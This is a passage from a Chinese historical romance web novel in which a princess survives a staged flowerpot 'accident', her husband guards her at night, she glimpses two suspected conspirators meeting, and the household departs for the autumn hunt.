她不认识什么张姓公子。 送到她手上的素笺、失约的叶殊宜、恰好坏掉的马车、精准落下的花盆……种种巧合串在一起…… 姒华欢脸色一点点变得冰冷凝重。 这绝非意外。 有人设局, 想要她的命。 正当她思考此人会是谁时,一阵急促的马蹄声由远及近。 一匹通体乌黑的高头大马停在了她面前, 巨大的阴影将她笼罩其中, 同时隔开了周遭探究的视线。 姒华欢抬头, 逆着光,看清了端坐马背上的人。玄色锦袍,金冠玉带,面容冷峻, 正是谢昀。 谢昀本是带着一腔难以言喻的酸怒而来,然而目光扫过地上碎裂的花盆和飞溅的泥土, 以及姒华欢那张毫无血色, 带着一丝惊惶未定的小脸,心中那点怨气立刻被担忧覆盖,甚至来不及细想。 他利落地翻身下马,几步便跨到她身前, 眉头微蹙,沉声问道:“怎么回事?” 姒华欢指了指地上一片狼籍,直截了当道:“有人想杀我。” “马车坏了,方才我站在此处等马车,这花盆从天而降。”她顿了顿,“若不是我正好后退了两步,你就要来给我收尸了。” 谢昀抬手虚掩了掩她的嘴,低声道:“别说这种不吉利的话。” 他抬头看向大敞的三楼窗户,目光锐利:“人呢?” “跑了。”姒华欢摇头,“我反应过来的时候让姚黄去看,早已没了人影,查问不到。” 谢昀身上散发出骇人的戾气,是姒华欢许久未曾见到的,上一次见到都是上辈子的事了。 “不必担忧,交给我来查。”谢昀转向她,语气缓和了些,“此地不宜久留,我先送你回府。” 姒华欢心有余悸,点了点头。 谢昀拍了拍骏马上的鞍鞯,很是自然地说道:“上马。” 姒华欢一愣,仰头看着比她高出不少的骏马,“我不会骑马。” “我当然知道你不会。”谢昀语气平淡,仿佛在说一件再理所当然不过的事,“所以我带你,你坐前面,我坐后面护着你,很快便到。” 同乘一骑? 这也就意味着她几乎整个人都要被他圈在怀里,后背紧贴他的胸膛,颠簸之间…… 她光是想想那画面就一阵排斥,嫌弃之情几乎掩饰不住,把脚往旁边挪开两步,离那匹马远了些,坚持道:“不,我等马车,新车很快便到。” 谢昀看着她毫不掩饰的嫌弃和后退两步的动作,心中更加不爽。 此地不宜久留,万一贼人还未走或有同伙再次暗害她怎么办。 他不再多言,趁姒华欢不注意,上前一步贴近了她,在她尚未反应过来之际,他有力的手臂已然揽住了她那盈盈一握的腰肢。 “啊!”姒华欢只来得及发出一声短促的惊呼,便觉一阵天旋地转。 谢昀的动作流畅,手臂带着她轻盈的身子一个旋转,托抱着将她轻而易举地送上了马背。 鞍鞯的皮革微凉,隔着衣衫触感分明。姒华欢惊魂未定,下意识附身抓住了马鞍前桥。 她刚稳住身形,身后传来一阵细微的动静,带着温热体温的身躯已然贴近。 谢昀长腿一跨,利落地翻身上马,稳稳坐在了她的身后。 两人之间的距离瞬间消失。 谢昀的胸膛几乎完全贴上了她的后背,隔着几层衣料,她仍能清晰地感受到他胸膛的宽阔,和隐约传来沉稳有力的心跳,与她杂乱的心跳共振。 他修长有力的手臂从她身侧自然而然地穿过,在她身前交叠,握住了缰绳。 这个姿势将她整个人圈禁在了他的气息范围之内,独属于他的清冽兰香顷刻间将她密不透风地包裹。 姒华欢脊背僵直,试图拉开一点距离,然而马背并没有多少空间可以挪动,他们之间缩短的距离微不足道。 “你……你放肆!” 她又羞又恼,偏过头想斥责他,却因为距离太近,耳朵几乎要擦过他的唇瓣,吓得她立刻把头转了回去。 这声斥责对谢昀毫无威慑力,他微微收紧手臂,将她更稳地固定在自己怀中,低沉的声音贴着她的耳廓响起:“坐稳了。” 说罢,他双腿轻轻一夹马腹,握紧缰绳:“驾!” 骏马得了指令,立刻迈开四只蹄子,小跑起来。 马背上的颠簸远比姒华欢想象的要剧烈。 每一次起伏,她的后背都会不可避免地撞进身后那个坚实温热的怀抱中,他的下颌有时会不经意地擦过她的发顶,带来一阵细微的痒意。 风从耳边呼啸而过,吹起了她散落的碎发,有几根调皮地拂过他的脸颊。 他握缰绳的手臂在她腰侧收紧,稳定着她因颠簸而微微摇晃的身子,力道强势而可靠。 姒华欢起初还试图僵硬地维持着距离,但随着颠簸,她身体不由自主地微微向后靠去,倚赖着身后唯一的支撑。 谢昀垂眸,能看到她泛红的耳尖和露出一小截白皙优美的后颈。他嘴角几不可察地勾起一抹淡淡地弧度,将她圈得更紧了些。 两人离开后,三楼掉落花盆房间对面的门打开了一条缝,一只眼睛在门缝中扫了几圈,在看到走廊中留下查探的杜风后,缝隙又悄然合拢。 侍女脚步放得很轻,走到临窗的圆桌旁,垂首禀报:“郡主,明安侯的长随还未离去。” 长宁放下手中杯盏,转向对面而坐的林妙晴,声音压着不快:“你不是说,林珩对康乐有意,寻个由头便能引他来私会?为何他进去不过片刻,话都没说两句便走了?” 林妙晴放下茶盏,瓷底碰到桌面,发出清脆声响。 她也想不通。 雅间的门大敞着,林珩站在门口,离康乐好几步远,不过三言两句便拱手告辞,莫非是他察觉了什么? 长宁烦躁地拿起手边的的团扇,用力扇了几下,“真是白浪费本郡主的时间!” 林妙晴看着她扇扇子的动作,垂下眼睫,掩去眸底深处一闪而过的厌烦。 若非父亲与晋王交好,她才不愿意捧着这个蠢货。 长宁,就是个一点就着的炮仗,毫无城府,只会坏事。 上次长宁被康乐当中踹下水后,一直怀恨在心,恰巧她无意中在林珩烧过的宣纸中,发现了一小块未被完全烧尽的残片,上面写着“康乐”二字。 她便知道,林珩对康乐果然有见不得人的心思。 于是她向长宁献计,以康乐的名义,将林珩诱至这酒楼雅间,再“恰好”让明安侯身边的人撞见,将消息递到明安侯耳中。 如此一来,无论康乐如何辩解,与男子私会的嫌疑足以让她名声受损,引来明安侯的猜忌。只要林珩还活着,这根刺便会一直插在明安侯心中。 她仅仅为全了与长宁的情谊,投其所好,让康乐往后的日子难有顺心。 顺便,让明安侯针对林珩,让林珩的仕途也从此难顺风顺水。 可林珩走了,走得干净利落,没留下一丝可供发挥的余地。 计划已然失败,本该悄无声息地离开,偏偏长宁这个蠢货,从三楼窗户看到楼下站着等马车的康乐,一股无名火起,想也没想,竟一把将窗台上那盆开得正艳的秋海棠推了下去! 听到楼下康乐的尖叫声,长宁一脸痛快的表情,心满意足地躲回了对面的房间。 原本天衣无缝可从容脱身的局面,被长宁的鲁莽彻底搅乱。 雪上加霜的是明安侯恰巧赶到,光天化日,闹市中险些闹出人命,他身为大理寺少卿岂会不查?说不定大理寺的人马上就到。 她们此刻滞留在此,嫌疑不小,若被查到头上…… 林妙晴心头一阵烦躁,强自压下。 “郡主,事已至此,生气也是无益。方才康乐想必也受了不小的惊吓,虽未伤着,但以她的身子,说不定要病上几日了。也算是小惩大戒,出了口气。” 林妙晴声音柔和,听不出半分异样:“再过几日便是秋猎了,届时人马混杂,都在山林野地之间,机会总比在这京城中要多得多,还怕寻不到机会教训她吗?” 长宁闻言,脸色稍霁,扇子也摇得缓了些。 ***** 谢昀带着姒华欢一路不快不慢地回了明安侯府,谢昀将马缰绳随手扔给一旁候着的侍卫,吩咐道:“拴好。”然后转身看向惊魂未定的少女。 姒华欢被抱下马放在地上后,只觉得脚下虚浮,还没从刚刚的颠簸中缓过劲来。 谢昀问:“站在这是要我把你抱进去吗?” 姒华欢已经受够了和他的无距离接触,瞪了他一眼,提裙向府中走。 “对了,”姒华欢突然想起来自己还没用午膳,吩咐魏紫道,“去备午膳。” 谢昀并排走在她身侧,闻言看向她:“你还未用午膳?” 姒华欢不想回答他的明知故问,没理他,继续往自己的院子走。 “你约的人呢?”谢昀状似无意地问道。 “你怎么知道我约了人?”姒华欢敏锐道,“你派人监视我?” 第47章 你还要睡在我床上?…… 谢昀避开了她的质问, 只追问自己想知道的:“午膳未用,他还让你一个人在那干等,遇上这等事?” 比起方才遇袭的惊险, 一直处在谢昀的监视下这件事, 更让姒华欢感到一种被冒犯的愤怒。 虽然早知他眼线遍布,但一直是隔岸观火的心态, 真发生在自己身上是另一种感觉。她觉得自己像被剥开了放在他的审视之下, 毫无隐私可言。 她语气冷下来:“我与谁相约, 为何相约, 是早是晚,是走是留,都是我的私事, 与你何干?” 谢昀被她这话一刺,眉头微蹙。 他自知是语气有些急, 但担忧和某种说不清道不明的烦躁搅再一起, 让他难以维持平日里的冷静。 他试图解释, 但出口的话却硬邦邦的:“我只是在问情况。你在那遇险,与你相约之人却不见踪影,难道不该问吗?” 姒华欢停下脚步,一字一句地警告:“我不是大理寺的犯人, 把你的眼线从我身边撤走,不许再监视我。” 她回到院中, 魏紫也赶回府了。 “殿下, ”她呼吸还微微有些急促,“我问过卫国公府的人了,说今日无人给殿下送过拜帖。” 姒华欢的心往下一沉。果然,那拜帖是假的, 是有人专门设下圈套,骗她前往聚仙楼。 但目的是什么?仅仅是为了伪装成意外,用花盆砸死她吗? 若想取她性命,法子多的是,为何偏选用这样一种费力且不稳定的方法? 她凝视着院中晃动的树影,只觉得暗处的对手藏身阴影,行事不寻常理,让她摸不着半分头绪。 ***** 傍晚,姒华欢沐浴完毕,带着一身氤氲的水汽和花瓣的馨香躺在床上。 刚要准备入睡,外间便传来轻微的脚步声,姚黄压低声音问:“殿下,侯爷来了,就在屋外。” 姒华欢疑惑,深更半夜,他想干什么?难不成是觉得白天没吵够,特意寻过来继续气她,让她不得安眠? 她毫不犹豫回绝:“不见,让他回去。” 姚黄应声退下,没过片刻,她去而复返,有些为难地再次来禀:“公主,侯爷说有要事需当面与公主相商。他还说……若殿下不让他进,他便一直站在院中等候,等到公主允他进来为止。” 姒华欢闻言,冷笑一声:“呵!他愿意站就让他站着好了!” 说完,她掀开锦被躺了进去,闭上了眼睛。 然而,心绪却难以平静,总觉得有一阵妖风不知从何处钻进来,扰得她无法安眠。 姒华欢只穿着单薄的寝衣走到窗边。果然,靠近榻边的一扇支摘窗没有关严,留下了一条不小的缝隙。 初秋的夜已然带上了沁人的凉意,她伸手想去将窗户关紧,目光不经意地透过窗缝向外瞥去。 月光清冷,洒在庭院中,清晰地勾勒出一个挺拔如松的身影。 谢昀站在院中,微仰着头,望着天边那弯弦月,侧影在月色下显得有些孤寂。 马上就是秋猎了,他肩膀上的伤还没好利索呢……以这家伙执拗的性子,说不定真会在这里站上一宿。 若是因此牵动了伤口,或是感染了风寒…… 她咬住下唇,在原地站了片刻,终是转身走到衣珩前,取下一件软绸外袍披在身上,系好衣带,走到屋门口,拉开了门。 谢昀听到动静,抬眼望去。 月光下,她披散着长发,裹着外袍,小脸紧绷,一双眸子在夜色里亮亮的,带着显而易见的不耐烦。 “什么事?快说,说完了赶紧走!”她没好气地开口。 谢昀道:“外面风大,能否让我进去说?” 姒华欢立刻瞪眼:“谢昀,你别得寸进尺!” 谢昀压低了声音,十足认真道:“好,就在这说。今日意图不轨之人或许并未死心,万一今夜有异动,你一个人睡我不放心。你让我进去,至少在查明真相前,我守着你,好护你周全。” 姒华欢当即拒绝:“大可不必,我有姚黄守夜,院外还有护卫,安全得很。” 谢昀摇了摇头:“他们在外,难免有疏漏之时。自然还是我更厉害些。” 姒华欢:“……” 哪有这般见缝插针夸自己的。 谢昀目光扫过漆黑一片的院子,压低声音,幽幽道:“你想想,若是那贼人如白天那般悄无声息地闯入你的屋中……” 他适时地停住,留下引人遐想的空间。 夜风吹过树梢,发出沙沙的响声,在寂静的夜里显得格外瘆人。 姒华欢被他这句话说得心里毛毛的,后背不禁泛起一阵凉意,脑海中不由自主脑补出某些可怕的画面,身上起了一层鸡皮疙瘩。 她眼神游移了一下,侧身让开了门口:“……进来吧。” 谢昀眼中飞快划过一丝得逞的光芒,快步迈过门槛,随着姒华欢进了里屋。 进到屋中,他做的第一件事,是走向姒华欢刚刚没关严的那扇窗户,伸手“咔哒”一声将它彻底关紧,扣牢窗栓。 姒华欢还沉浸在他方才的“危言耸听”中,没在意他的小动作。 谢昀走到床边,语气自然道:“你睡里面,我睡外面。” “什么?”姒华欢瞪圆了眼睛,“你还要睡在我床上?” 谢昀一脸理所应当:“不然呢,我不是说了要保护你吗?自然要离得近些才能及时反应,再说了……” 他嘴角勾起一抹意味深长的弧度,眼神在她脸上转了一圈,“又不是第一次同床共枕,你害羞什么?” “你……!”姒华欢这才彻底反应过来,脸颊绯红,指着他道,“好啊你,诡谋算计的,原来打的是这个歪主意!什么有人要害我,什么保护我,都是借口!你故意说那些话吓唬我,骗我放你进来,对不对?” 谢昀眨了眨眼,表情纯良又无辜,甚至带有点委屈:“你怎么能这样想我?我真的是担心你的安危。你在说什么,我怎么听不懂?” 看他这副装傻充愣的模样,姒华欢气得牙痒痒,却又拿他没办法。 万一那歹人真不死心,深夜来刺杀她怎么办? 她深吸一口气,强压下把他轰出去的冲动,伸手指向贵妃榻:“你睡那!” 谢昀顺着她指的方向看了一眼,不情不愿道:“那榻离床还是有些距离的,若是真有什么动静,恐怕来不及……” “谢、昀!”姒华欢一字一顿,咬牙切齿道,“别得寸进尺!” 见她真要恼了,谢昀立刻见好就收:“好好好,听你的,我睡榻上。” 他慢吞吞走到那张对他来说显然有些短小的贵妃榻旁,和衣躺了下去,调整了一下姿势,似乎怎么躺都不太舒服。 姒华欢懒得再理他,吹熄了床头的灯盏,只留下远处角落里一盏光线昏暗的灯,重新躺回床上,扯过锦被把自己裹紧。 一时间,屋内只剩下彼此的呼吸声。 不知道谢昀能否睡着,姒华欢眼睛睁得大大的,毫无睡意。 她的思绪不受控制地飘远,又想起了那个困惑她许久的问题——到底要怎样才能梦到前世? 她现在可以确定触发梦境的关键,一定和谢昀有关。 之前猜测是亲吻,可已经试验过了,结果却梦到了那样荒唐的场景,与她心心念念的薛宝芝下场半点关系都没有。 难道……真的要像上次那样,发生更亲密的关系才行吗? 这个念头一冒出来,姒华欢耳根一热,在被子里悄悄蜷缩了一下脚趾。 这牺牲未免太大了! 可是万一猜对了呢……? 她开始认真地在心中权衡起来。 要么先选个折中的法子,同床共枕试试看? 既然关键在谢昀,那么更近距离的接触,比如单纯地睡在一起,会不会就能起到作用?毕竟上次也是在同床共枕后才梦到的。 她有些急性子,想到什么就要立刻去做,但是…… 她偷偷侧过头,目光穿过朦胧的帷帐望向不远处的贵妃榻,谢昀似乎睡得很沉。 现在……要叫他到床上来吗? 这个想法刚冒头,就被她否决了。 不不不,绝对不行! 这也太丢人了!显得她多需要他似的! 而且,万一又梦到乱七八糟的怎么办?她主动开口,以后还怎么在他面前抬起头来? 纠结,无比的纠结。两个念头在她脑子里打得不可开交,让她辗转反侧,难以安宁。 要不……明晚?等她做好心理准备,再试一下? 对,明晚再说,今晚就先这样吧。 谢昀并未睡着,他闭着眼,耳朵灵敏地捕捉着床上的一切动静。 等了片刻,那翻来覆去的声音非但没有停歇,反而越发频繁,像是床上在烙饼。 终于,他忍不住睁眼,低声开口:“睡不着?” 床上所有的动静都停下了,但床上的人也没有吭声。 这样欲盖弥彰的行为让谢昀眼底泛起一丝笑意,他安静了一下,又道:“我知道个能让人快速入睡的法子,要不要试一试?” 姒华欢本就脑子里都是那些“同床共枕”的念头,此刻听他这般带着点若有似无,引人无限遐想的语气,几乎是瞬间就想歪了。 她脸颊一下烧了起来,像只被踩了尾巴炸毛的猫,怒斥:“谢昀!你脑子里一天到晚都在想什么!不安分就滚出去!” 帷帐外传来一声愉悦的低笑,仿佛早有预料。 谢昀慢悠悠回道:“公主殿下,我不过是说可以给你讲讲军中助眠的法子。似乎想歪的,另有其人吧?” 姒华欢瞬间噎住,一阵羞窘让她无地自容,一把将锦被扯过头顶,将自己从头到脚严严实实蒙住。 谢昀看到那团鼓起来的被子,想象着她此刻在里面羞愤欲死的模样,勾起唇角,大方道:“若你想的话……我也不是不能配合你……” “闭嘴!别和我说话了!我睡着了!” 身音隔着被子传来,闷声闷气的。 谢昀换了个舒服的姿势,侧卧着,头枕在自己的手臂上,盯着床上的一团。 怎么这么可爱?—— 作者有话说:小谢be like:[爱心眼] 第48章 谢昀,你不想我死吗?…… 次日清晨, 姒华欢与谢昀一起在花厅用早膳,气氛比起昨日缓和不少。 杜风快步走进来,躬身禀报:“侯爷, 大理寺的人来传话, 说是刑部那边有个要案急需您过去复核卷宗,席寺卿请您即刻前往。” 谢昀闻言, 目光投向对面小口喝着燕窝粥的姒华欢, 眉头微蹙, 思量着什么。 他今日本已告假, 留在府中,守在她身边,免得再出什么岔子。 姒华欢感受到他的视线, 抬起头,嚼嚼嚼, 慢条斯理地把嘴里的食物咽下去, 才开口道:“看我干什么?你本就该去上值的。我又不是离了你就不能活。” 谢昀只好叮嘱:“那你好生呆在府中, 若是闷了,就去园子里逛逛,或者玩一会儿焦焦,我忙完就回来。” 姒华欢不在意地摆摆手, 低下头继续用膳,不再看他。 谢昀这才起身, 理了理袖袍, 随着杜风离开了。 待他走后,姒华欢慢悠悠用完早膳,放下银箸,接过姚黄递上的清茶漱了漱口, 吩咐道:“备车,我要去卫国公府。” 马车很快备好,姒华欢带上府中四名侍卫,驶向了卫国公府。 然而到了卫国公府门前,门房却道:“公主殿下,真是不巧。我家大公子带着大小姐去城郊的马场了,今日还未归来,恐得再过上几日方能回府。” 姒华欢扑了个空,无奈只得让车夫掉头。 既然出来了,便去月满坊一趟吧,许久没吃那的玉露团和透花糍了。 到了月满坊门口,铺子前人头攒动,排队的人依旧很多。魏紫下车前去购买,姒华欢和姚黄留在马车中等候。 等了一会儿觉得有些气闷,姒华欢便抬手撩开了车窗帘子,向外张望。 月满坊对面是一家颇为雅致的酒楼,她目光随意地扫过酒楼大敞的门,并未停留。 就在她准备收回目光时,眼角余光却突然捕捉到大堂后面通往后院的侧门处,一个堂倌正撩开一道厚重的布帘准备进入。 就在布帘掀起又落下的间隙,她清楚地看到后院中站着两个人。 其中一人她昨日才见过,正是林珩。 而他对面之人,坐在一张木质轮椅上。 虽然只看到一个侧脸和轮椅,但姒华欢的心跳漏了一拍。 她绝不会认错,那是桑进! 在她梦中被谢昀不远千里也要去杀的桑进! 他们两个人居然认识? 而且看他们的姿态和距离,似乎并非泛泛之交,倒像是在商议着什么。 林珩是朝中新贵,风评甚佳;桑进则是声名狼藉,且不良于行。 这两个八竿子打不着的人,为何会凑在一起? 还是在酒楼的后院,而非楼上雅间,这太不寻常了。 一种强烈的怪异直觉涌上心头,驱使着她必须前去探个究竟,偷听一下二人到底在说什么。 姒华欢放下车帘,迅速下了马车,快步穿过街道进入那家酒楼。 行至方才看到的侧门,她努力竖起耳朵听得仔细些,却没听到任何动静。 她左右看了看,见无人注意,悄悄伸出一根手指轻轻挑开了布帘的一道缝。 然而,后院空空如也。 只有几盆略显萧瑟的秋菊,和角落里堆放的些许杂物。方才那两个人,如同凭空蒸发了一般,不见了踪影。 她刚刚不可能看错,这里分明是有人的,确是林珩和桑进。 “这位……小姐?”刚刚的堂倌折返回来,见姒华欢站在后院门口,面露诧异,“您可是走错了路?这里是后院,不待客的。” 姒华欢含糊地应了一声:“嗯,是我走错了。” 她故作镇定地转身,任由那小二将她领回了酒楼前堂,随后便快步离开了酒楼,回到了马车上。 姒华欢的身影消失在前堂可视范围之后,后院西侧一扇极其隐蔽的门被轻轻推开。 桑进双手转着轮椅的两个轮子,和林珩从里面缓缓出来。 桑进的脸色阴沉,再次转动轮椅,面向林珩,声音压低,带着一股狠戾:“她怎么会出现在这里?她一定看到了我们,不如尽早除掉,省得多生事端!” 林珩眉头紧锁,摇了摇头:“不可。留着她,对我们还有大用。” “大用?”桑进冷笑一声,狭长的眼睛闪烁着精光,“没有她,难道我们就找不到别的法子了?何必留个这么大的隐患。” 林珩沉默了片刻,望向刚刚姒华欢消失的布帘处,“她……没那个心眼,应当只是巧合。此事暂且压下,先别跟主公提起。” 桑进闻言,抬起头,怀疑地审视着林珩平静的侧脸,语气变得有些古怪:“林珩,你该不会是对康乐公主,起了什么不该有的私心吧?” 林珩像是听到了什么极其荒谬的笑话,忍不住从喉间发出一声极轻的嗤笑,收回目光,看向桑进,眼神清冷无波:“你多虑了。” 桑进盯着他看了半晌,似乎是想从他脸上找出丝毫破绽,最终却只看到一片冷漠平静。 他冷哼一声,语气森然:“你最好是。” ***** 姒华欢回到马车上,陷入沉思。 林珩与桑进,这两个人倒确实有一个共同点,都在她的梦中被谢昀所杀。 难道……是他们都站在谢昀的对立面? 敌人的敌人就是朋友,上天让她梦到他们的结局,难道不仅仅是警示她远离谢昀,还想让她扭转乾坤,救下这两个无辜之人? 救林珩还好,她对他观感不差,温润知礼,若是真被卷入无妄之灾,似乎可以一救。 但桑进……她下意识地排斥,甚至不愿去相信他与“无辜”二字沾边。 并非她以貌取人,而是一种直觉,让她本能地不要去靠近这个人。 她越想越觉得混乱,总觉得有哪里不对,像是隔着一层迷雾,看不清真相。 ***** 傍晚时分,姒华欢难得邀谢昀共进晚膳,结束后还问他:“要不要……一起去园子里走走,消消食?” 谢昀眼底掠过一丝讶异,随即化为愉悦:“好。” 初秋的傍晚,花园里已有几分凉意,但景致依旧宜人。两人并肩走在铺着鹅卵石的小径上,一时间谁都没有说话,只有脚步声和风吹过树叶的沙沙声。 走了一段,姒华欢状似无意开口:“你认不认识一个叫桑进的人?” 谢昀脚步未停,随口答道:“桑进?国子祭酒桑家那个偷养外室被打断腿的庶子?怎么了?突然问起他做什么?” “没什么,就是偶然听人提起,有些好奇。”姒华欢含糊道,又像是想起什么,继续说,“那你觉得他为人如何?还有……林侍郎,林珩,你觉得他怎么样?” 谢昀的注意力完全被“林珩”二字吸引了去,他停下脚步,转过头看她,眼神里带着了然还有隐隐不悦:“你绕了这么大圈子,就是想问林珩?问他便问他,何必扯上个不相干的桑进打掩护。” 他微微俯身,凑近她,目光锐利,带着点审视的意味:“而且,我记得桑进的模样可不算周正。” 姒华欢从不管心与她不相干的人和事,今日怎么突然对他们感兴趣了? 谢昀顿了顿,直接问道:“你白天做什么去了?” 姒华欢心头一跳,避开他像在大理寺审案犯的目光,道:“我没见到他们啊!就是,就是突然想到了,随口问问不行吗?” 见她此地无银三百两的模样,谢昀的心情反倒轻松起来,心中已然明了七八分。 她白天见到他们二人在一起了?他们二人相熟吗? 谢昀仔细回想了一番,这两个人八竿子打不着,从未听说过这两个名字一起出现过。 他得先去查查这二人。 谢昀没再追问,只是将这件事记在了心里,话锋一转,转到了他更在意的问题上:“我早上不是让你乖乖呆在府里,万一昨日想害你的歹人不死心,再次寻机行凶怎么办?你倒好,天不怕地不怕,我前脚刚走,你后脚就又跑出去了。” 说到这个,姒华欢有了底气,扬起下巴:“我又不傻,我带了府上四名护卫出去的!” “才四个?”谢昀摇头,“若对方真有备而来,四名护卫未必能护你周全,万一出事……” 后面的话他避谶没有说下去,眼神里的担忧和后怕是显而易见的。 看他眼中真切,姒华欢的心像是被什么东西轻轻撞了一下。 她忽然想到前世,自己最终是死在了他箭下的。 可或许是因为又了重活一次的机会,或许是因为这一世的谢昀,到目前为止,除了嘴巴坏点、管得宽点,并未真正做出什么伤害她的事情,反而数次护着她…… 日子在吵吵闹闹、别别扭扭中过去,竟也生出几分安逸。以至于此刻,她突然惊觉,自己内心深处对谢昀的恨意,不知从何时起,似乎没有那么强烈和纯粹了。 这个发现让她一惊。 不应该是这样的! 她重活一世,是为了改变命运。前世的谢昀在杀她前也没有什么明显的不对劲不是吗? 她应该时刻保持警惕,与他保持距离,怎可因一时的安稳就放松了戒备? 姒华欢沉默了下去,心绪纷乱如麻。 谢昀见她突然不说话,神色有些恍惚,问道:“怎么了?” 姒华欢抬起头,望向空中挂着的一轮弯月。 她前世从未想过,有朝一日,他们两人能像现在这样,心平气和地并肩在庭院中散步。 一种难以言喻的复杂情绪涌上心头,她鬼使神差地轻声问道:“谢昀,你不想我死吗?” 第49章 教你骑马 谢昀被她这没头没脑的问题问得一怔, 不由失笑,调侃道:“你死了对我有什么好处?让我年纪轻轻就顶个‘京城第一鳏夫’的名头吗?” 姒华欢却异常认真地看着他的眼睛,那双总是灵动闪烁的美眸此刻一片沉静:“我是说如果……如果有一天, 我真的死了呢?” 谢昀脸上的笑容微微凝住, 看着她前所未有的认真神色。 虽然觉得她今晚的问题一个比一个奇怪,但还是顺着她的话, 半开玩笑半认真地答道:“似乎没有公主死后, 驸马还要陪葬的规矩吧?” 他说完, 等着她像往常一样瞪他或者随口骂他两句。 然而, 姒华欢没有说话。 她只是静静地看着他,夜风吹过,拂动她额前的几缕碎发, 遮在她眼前,让他看不真切她眼底深处到底是什么情绪。 她的情绪一向直白, 喜怒哀乐都写在脸上, 很少露出这样仿佛隔着一层迷雾, 认真又复杂的神情。 谢昀忽然心头有些发紧,不由自主地抬起手,用指腹轻轻将她眼前的碎发拂开,动作很轻很柔。 他直视她的眼睛, 收起了所有玩笑,语气是前所未有的郑重和认真:“姒华欢, 有我在, 不会让你死的。” 他声音不高,却格外有力量,让姒华欢的心猛地一颤。 她看着谢昀近在咫尺的俊朗面容,看着他眼中清晰映出自己的倒影, 有种荒诞和悲哀交织的感觉。 命运真是弄人。他此刻说得如此认真,有几分真心?她不得而知。 她只清楚地知道,前世的她,确实是因他而死的。 “为什么问这个?”谢昀捕捉到她眼中一闪而过的痛楚和迷茫,心中的不安愈发强烈,他追问道,“今日是不是发生了什么?” “没什么。”姒华欢垂下眼睫,避开他的目光,“只是突然意识到,世事无常,人随时都可能会死的。” 她说得云淡风轻,仿佛只是感慨一个再寻常不过的道理。 谢昀不明白她今晚到底是怎么了,为什么会说那么多模棱两可又极其消极的话,一点都不像那个鲜活灵动的她。 此刻的她,安静,疏离,带着一种看透了什么的淡然,这让他没由来地感到心慌。 她此刻像是一只系着线的风筝,原本在他触手可及的地方,可现在,那根线变得脆弱不堪,随时都会断掉,飘向遥远的天边,再也抓不住。 谢昀几乎是下意识地伸出手,握住了姒华欢的微凉的小手,力道有些紧,生怕她真的会就此消失。 姒华欢被他突如其来的动作一惊,不习惯地想挣脱,却被他握得更紧。 谢昀低下头看着她,声音不自觉地放柔,带着点小心翼翼的试探:“你今日到底怎么了?是不是太累了?还是太紧张了?别胡思乱想,我们回去,我今晚还给你守夜,你早点休息,好不好?” 他拉着她的手,朝主院的方向走。 姒华欢又挣扎了几下,奈何他力道太大,根本挣脱不开,最终还是放弃了抵抗,任由他牵着自己,沉默地走回了房间。 洗漱过后,姒华欢径直上了床,背对着外面躺下。 今日她想了很多,觉得这一世和前世不知何时起变得很割裂,心里乱糟糟的,暂时不想去验证如何触发梦境的猜想了。 她需要时间,需要好好理清头绪,需要缓一缓。 谢昀看着她明显拒绝沟通的背影,嘴唇动了动,最终什么也没说,默默地走到贵妃榻旁。 这榻对他高大的身形来说实在有些委屈,他侧身躺下微微蜷缩着,手臂枕在脑袋下,目光一瞬不瞬地落在那个背对他的身影上。 他毫无睡意,脑海里反复回响姒华欢今晚那些关于生死的话,心里像是被什么东西堵住了,又沉又闷,泛着难以言喻的酸涩和害怕。 是的,害怕。 他以为自己自幼失去双亲,在死亡这件事上,能比其他人更好地面对。然而今晚他意识到,并不是这样的。 看着姒华欢淡然的表情,听她平静地谈论死亡,他是真的怕了。 他甚至不敢闭上眼睛。生怕一闭上,再睁开时,她就真的不见了。怕短暂的和睦相处,只是镜花水月,一触即碎。 夜渐深,窗外风声渐息,只余秋虫偶尔几声零落的鸣叫,更添几分萧瑟。月光别薄云遮掩,透进窗的光线朦朦胧胧。 长夜漫漫,心事沉沉。 ***** 时值仲秋,天高云淡,正是秋猎的好时节。 大越向来注重文武双全,秋猎不仅是检验军队、演练骑射、选拔勇猛之士的传统,更是联络君臣感情、彰显国威的重要活动。规模浩大,几乎所有的王公贵族、文武百官及其家眷,都会随行前往京郊的皇家围猎场。 历时数日,既是狩猎,也是一场盛大的秋日社交盛宴。 明安侯府门前,此刻一片忙碌景象。仆从们正有条不紊地将一箱箱行李物品,搬上早已等候多时,排成长队的马车。 箱笼之多,几乎要将这些宽敞的马车塞满,阵仗颇有些壮观。 姒华欢站在府门口的石阶上,看着这几乎堪比搬家的阵仗,嘴角忍不住微微抽搐。 谢昀安排好最后一项物品走到她身边,顺着她的目光看去,语气自然地问道:“还有什么想带没带上的?” 姒华欢转过头,看着他一脸认真的模样,终于忍不住说道:“谢昀,我们是去秋猎,不是举家搬迁。围场行宫那边年年都去,一应事物都是齐备的,哪至于带这么多东西?” 这人比她想的还周全,把能带的都带上了,甚至连她平日里睡惯的枕头都带上了。 谢昀看着她虽在抱怨,但眉眼间并无前几日那种沉郁之色,反而带着点笑,终于如释重负。 自那晚她莫名其妙谈及生死后,他整日心惊胆战。 连大理寺卿亲自派人来请他去处理公务,他都以旧伤复发需静养为由推拒了,只让人将最紧要的文书送到府上批阅。 那几日他对姒华欢几乎是寸步不离,她去哪儿他都像个影子似的跟着,直把姒华欢跟得烦不胜烦,气得跳脚,跟他吵了一架。 见她又能面色红润,中气十足地跟他争执斗嘴,他才总算稍稍安心,想着可能那晚只是她一时情绪低落下的胡思乱想。 “汪汪!” 一团白色影子从府中弹射出来,兴奋地绕着谢昀和姒华欢打转,谢昀含笑揉了揉那颗毛茸茸的脑袋:“忘不了你。” 陶总管紧随其后气喘吁吁地跑出来,手中攥着一根皮绳,满头大汗,见到二人苦笑道:“侯爷,焦焦听说要出门,实在是太兴奋了,我根本抓不到它。” 姒华欢不解:“为何一定要拴着它?” 谢昀幽幽道:“因为它会跳车。” 姒华欢:“……” 它最近乖巧不少,让她差点忘记它是个魔童来着。 车队浩浩荡荡出发,抵达京郊皇家围猎场时,已是午后。 广阔的营地上早已支起了无数华丽的帐篷,皇帐位于最中心,明黄的帷幔在午后的阳光下格外醒目,周围环绕着各色代表不同品阶官员的营帐。 已有不少官员家眷赶到,三三两两聚在一起谈笑,人声鼎沸,骏马嘶鸣,彩旗招展,一片热闹景象。 身穿铁甲的侍卫们穿梭巡逻,气氛既隆重,又带着狩猎前特有的兴奋与躁动。 姒华欢刚在自己的营帐中安顿下来,帐外便传来了叶殊宜清脆的声音:“华欢你在里面吗?” 姒华欢迎了出去,只见叶殊宜身着一身利落的骑装,英姿飒爽,脸上带着奔跑后的红晕。 